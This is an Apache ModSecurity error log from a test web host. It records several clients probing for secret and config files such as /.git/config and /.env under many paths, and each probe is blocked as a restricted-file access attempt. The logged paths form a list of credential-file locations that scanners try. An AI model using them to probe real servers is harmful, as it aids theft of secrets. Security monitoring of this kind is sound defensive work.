[Fri Nov 28 06:59:51.356278 2025] [:error] [pid 376661] [client 167.71.81.114:34942] [client 167.71.81.114] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSk6V_jJXEGeKpnW72TIZwAAAAM"]
[Fri Nov 28 06:59:51.356523 2025] [:error] [pid 376661] [client 167.71.81.114:34942] [client 167.71.81.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSk6V_jJXEGeKpnW72TIZwAAAAM"]
[Fri Nov 28 06:59:51.356762 2025] [:error] [pid 376661] [client 167.71.81.114:34942] [client 167.71.81.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSk6V_jJXEGeKpnW72TIZwAAAAM"]
[Fri Nov 28 07:19:32.105691 2025] [authz_core:error] [pid 376647] [client 206.81.24.74:48846] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Fri Nov 28 07:19:33.502820 2025] [:error] [pid 376664] [client 206.81.24.74:48874] [client 206.81.24.74] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSk-9TdoVH3rSFLp8WVipQAAAAg"]
[Fri Nov 28 07:19:33.503057 2025] [:error] [pid 376664] [client 206.81.24.74:48874] [client 206.81.24.74] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSk-9TdoVH3rSFLp8WVipQAAAAg"]
[Fri Nov 28 07:19:33.503238 2025] [:error] [pid 376664] [client 206.81.24.74:48874] [client 206.81.24.74] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSk-9TdoVH3rSFLp8WVipQAAAAg"]
[Fri Nov 28 07:19:33.842428 2025] [:error] [pid 379639] [client 206.81.24.74:48886] [client 206.81.24.74] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSk-9eEMEBWUZcmdqmHTEQAAAAQ"]
[Fri Nov 28 07:19:33.842669 2025] [:error] [pid 379639] [client 206.81.24.74:48886] [client 206.81.24.74] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSk-9eEMEBWUZcmdqmHTEQAAAAQ"]
[Fri Nov 28 07:19:33.842900 2025] [:error] [pid 379639] [client 206.81.24.74:48886] [client 206.81.24.74] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSk-9eEMEBWUZcmdqmHTEQAAAAQ"]
[Fri Nov 28 07:19:34.200763 2025] [:error] [pid 376637] [client 206.81.24.74:48896] [client 206.81.24.74] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSk-9lA4g9EMayny11QjUAAAABI"]
[Fri Nov 28 07:19:34.201016 2025] [:error] [pid 376637] [client 206.81.24.74:48896] [client 206.81.24.74] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSk-9lA4g9EMayny11QjUAAAABI"]
[Fri Nov 28 07:19:34.201190 2025] [:error] [pid 376637] [client 206.81.24.74:48896] [client 206.81.24.74] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSk-9lA4g9EMayny11QjUAAAABI"]
[Fri Nov 28 10:36:35.875738 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/administrator/.env"] [unique_id "aSltIzw2yRGRiZPkz52y7AAAAB4"]
[Fri Nov 28 10:36:35.876060 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/administrator/.env"] [unique_id "aSltIzw2yRGRiZPkz52y7AAAAB4"]
[Fri Nov 28 10:36:35.876269 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/administrator/.env"] [unique_id "aSltIzw2yRGRiZPkz52y7AAAAB4"]
[Fri Nov 28 10:36:36.133432 2025] [:error] [pid 383789] [client 54.177.185.240:45214] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /exapi/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/exapi/.env"] [unique_id "aSltJOJ3Q5cbhdnloy_tnwAAACE"]
[Fri Nov 28 10:36:36.133718 2025] [:error] [pid 383789] [client 54.177.185.240:45214] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/exapi/.env"] [unique_id "aSltJOJ3Q5cbhdnloy_tnwAAACE"]
[Fri Nov 28 10:36:36.133933 2025] [:error] [pid 383789] [client 54.177.185.240:45214] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/exapi/.env"] [unique_id "aSltJOJ3Q5cbhdnloy_tnwAAACE"]
[Fri Nov 28 10:36:36.135809 2025] [:error] [pid 383790] [client 54.177.185.240:45212] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSltJAp10vTXen6zlzzZ8QAAACI"]
[Fri Nov 28 10:36:36.136126 2025] [:error] [pid 383790] [client 54.177.185.240:45212] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSltJAp10vTXen6zlzzZ8QAAACI"]
[Fri Nov 28 10:36:36.136344 2025] [:error] [pid 383790] [client 54.177.185.240:45212] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSltJAp10vTXen6zlzzZ8QAAACI"]
[Fri Nov 28 10:36:36.138238 2025] [:error] [pid 383791] [client 54.177.185.240:45216] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aSltJBjlFPUixq_UpnjmsAAAACM"]
[Fri Nov 28 10:36:36.138500 2025] [:error] [pid 383791] [client 54.177.185.240:45216] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aSltJBjlFPUixq_UpnjmsAAAACM"]
[Fri Nov 28 10:36:36.138690 2025] [:error] [pid 383791] [client 54.177.185.240:45216] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aSltJBjlFPUixq_UpnjmsAAAACM"]
[Fri Nov 28 10:36:37.378077 2025] [:error] [pid 383792] [client 54.177.185.240:45290] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/datavase/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/Datavase/.env"] [unique_id "aSltJRw4RDheYvatAWLX5wAAACQ"]
[Fri Nov 28 10:36:37.378401 2025] [:error] [pid 383792] [client 54.177.185.240:45290] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/Datavase/.env"] [unique_id "aSltJRw4RDheYvatAWLX5wAAACQ"]
[Fri Nov 28 10:36:37.378611 2025] [:error] [pid 383792] [client 54.177.185.240:45290] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/Datavase/.env"] [unique_id "aSltJRw4RDheYvatAWLX5wAAACQ"]
[Fri Nov 28 10:36:37.388436 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aSltJbF0qzQKjfNcRsLaRgAAACU"]
[Fri Nov 28 10:36:37.388669 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aSltJbF0qzQKjfNcRsLaRgAAACU"]
[Fri Nov 28 10:36:37.388855 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aSltJbF0qzQKjfNcRsLaRgAAACU"]
[Fri Nov 28 10:36:38.046223 2025] [:error] [pid 383794] [client 54.177.185.240:45392] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "aSltJqRpzn31Gwcwn6TsPAAAACY"]
[Fri Nov 28 10:36:38.046533 2025] [:error] [pid 383794] [client 54.177.185.240:45392] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "aSltJqRpzn31Gwcwn6TsPAAAACY"]
[Fri Nov 28 10:36:38.046739 2025] [:error] [pid 383794] [client 54.177.185.240:45392] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "aSltJqRpzn31Gwcwn6TsPAAAACY"]
[Fri Nov 28 10:36:38.048369 2025] [:error] [pid 383795] [client 54.177.185.240:45358] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aSltJrh7zHiUqW-gRRcVbAAAACc"]
[Fri Nov 28 10:36:38.048601 2025] [:error] [pid 383795] [client 54.177.185.240:45358] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aSltJrh7zHiUqW-gRRcVbAAAACc"]
[Fri Nov 28 10:36:38.048798 2025] [:error] [pid 383795] [client 54.177.185.240:45358] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aSltJrh7zHiUqW-gRRcVbAAAACc"]
[Fri Nov 28 10:36:39.035714 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aSltJzw2yRGRiZPkz52y7QAAAB4"]
[Fri Nov 28 10:36:39.035935 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aSltJzw2yRGRiZPkz52y7QAAAB4"]
[Fri Nov 28 10:36:39.036124 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aSltJzw2yRGRiZPkz52y7QAAAB4"]
[Fri Nov 28 10:36:39.410132 2025] [:error] [pid 383805] [client 54.177.185.240:45556] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cron/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aSltJ_Zoqb1Tg18-jE5RGwAAABg"]
